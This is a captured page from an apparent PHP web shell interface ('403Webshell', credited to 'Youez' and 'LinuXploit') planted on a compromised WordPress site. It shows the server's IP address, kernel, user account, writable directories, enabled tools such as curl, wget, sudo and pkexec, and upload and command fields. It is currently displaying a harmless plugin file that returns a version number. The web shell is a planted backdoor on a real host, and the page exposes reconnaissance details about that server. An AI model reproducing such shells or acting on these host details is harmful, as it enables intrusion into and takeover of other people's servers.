403Webshell
Server IP : 108.167.142.43  /  Your IP : 216.73.216.223
Web Server : Apache
System : Linux gator4174.hostgator.com 5.14.0-687.39.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Aug 18 06:09:16 EDT 2026 x86_64
User : delarice ( 2406)
PHP Version : 8.3.36
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home2/delarice/public_html/wp-content/plugins/image-optimization/modules/oauth/rest/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/delarice/public_html/wp-content/plugins/image-optimization/modules/oauth/rest/version.php
<?php

namespace ImageOptimization\Modules\Oauth\Rest;

use ImageOptimization\Modules\Oauth\{
	Classes\Route_Base,
};

use WP_REST_Request;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

class Version extends Route_Base {
	const NONCE_NAME = 'image-optimization-version';

	protected string $path = 'version';

	public function get_name(): string {
		return 'version';
	}

	public function get_methods(): array {
		return [ 'GET' ];
	}

	public function GET( WP_REST_Request $request ) {
		$error = $this->verify_capability();

		if ( $error ) {
			return $error;
		}

		return $this->respond_success_json( [
			'version' => 1,
		] );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit